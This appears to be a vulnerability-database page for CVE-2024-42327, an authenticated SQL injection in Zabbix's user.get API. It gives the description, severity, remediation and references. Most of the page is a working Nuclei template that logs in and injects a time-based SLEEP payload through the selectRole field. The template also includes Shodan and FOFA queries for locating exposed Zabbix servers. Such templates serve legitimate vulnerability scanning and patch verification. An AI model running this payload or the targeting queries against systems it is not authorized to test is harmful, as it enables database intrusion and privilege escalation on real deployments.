CVE-2024-42327: Zabbix 6.0.0-6.0.31, 6.4.0-6.4.16, 7.0.0 - Authenticated SQL Injection

2026-12-04 PoC Public

Description

Zabbix versions 6.0.0 through 6.0.31, 6.4.0 through 6.4.16, and 7.0.0 concatenate user-controlled selectRole fields into a SQL query in CUser::addRelatedObjects, allowing a user with API access to inject SQL through user.get.

Details

CVE
CVE-2024-42327 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2024-42327

info:
  name: Zabbix 6.0.0-6.0.31, 6.4.0-6.4.16, 7.0.0 - Authenticated SQL Injection
  author: lulitaxu
  severity: critical
  description: |
    Zabbix versions 6.0.0 through 6.0.31, 6.4.0 through 6.4.16, and 7.0.0 concatenate user-controlled selectRole fields into a SQL query in CUser::addRelatedObjects, allowing a user with API access to inject SQL through user.get.
  impact: |
    A low-privileged authenticated user with API access may read sensitive database records and escalate privileges through SQL injection.
  remediation: |
    Upgrade Zabbix to 6.0.32, 6.4.17, 7.0.1, or a later fixed release.
  reference:
    - https://www.zabbix.com/security_advisories?page=1&query=CVE-2024-42327
    - https://support.zabbix.com/browse/ZBX-25623
    - https://github.com/gmh5225/CVE-2024-42327
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-42327
    epss-score: 0.87413
    epss-percentile: 0.99753
    cwe-id: CWE-89
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 8
    vendor: zabbix
    product: zabbix
    shodan-query: 'http.favicon.hash:892542951'
    fofa-query: 'app="ZABBIX-监控系统"'
  tags: cve,cve2024,zabbix,sqli,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"user.login","params":{"username":"{{username}}","password":"{{password}}"},"id":1}

      - |
        POST /zabbix/api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"user.login","params":{"username":"{{username}}","password":"{{password}}"},"id":1}

    extractors:
      - type: json
        name: auth
        internal: true
        json:
          - .result

  - raw:
      - |
        POST /api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectRole":["roleid","name","type","readonly AND (SELECT(SLEEP(6)))"],"userids":["1"]},"auth":"{{auth}}","id":2}
      - |
        POST /zabbix/api_jsonrpc.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"user.get","params":{"output":["userid","username"],"selectRole":["roleid","name","type","readonly AND (SELECT(SLEEP(6)))"],"userids":["1"]},"auth":"{{auth}}","id":2}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"result\"")'
          - 'duration>=6'
        condition: and
# digest: 490a0046304402203c495ecb23b02a96ad16d29df64b1d721201455d85e67d61f07bd1bd979e668e02200daab3a539421e5836b60bd4fc54bf4ab10d4fbff0fc130dc65c2e3f31ee5527:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life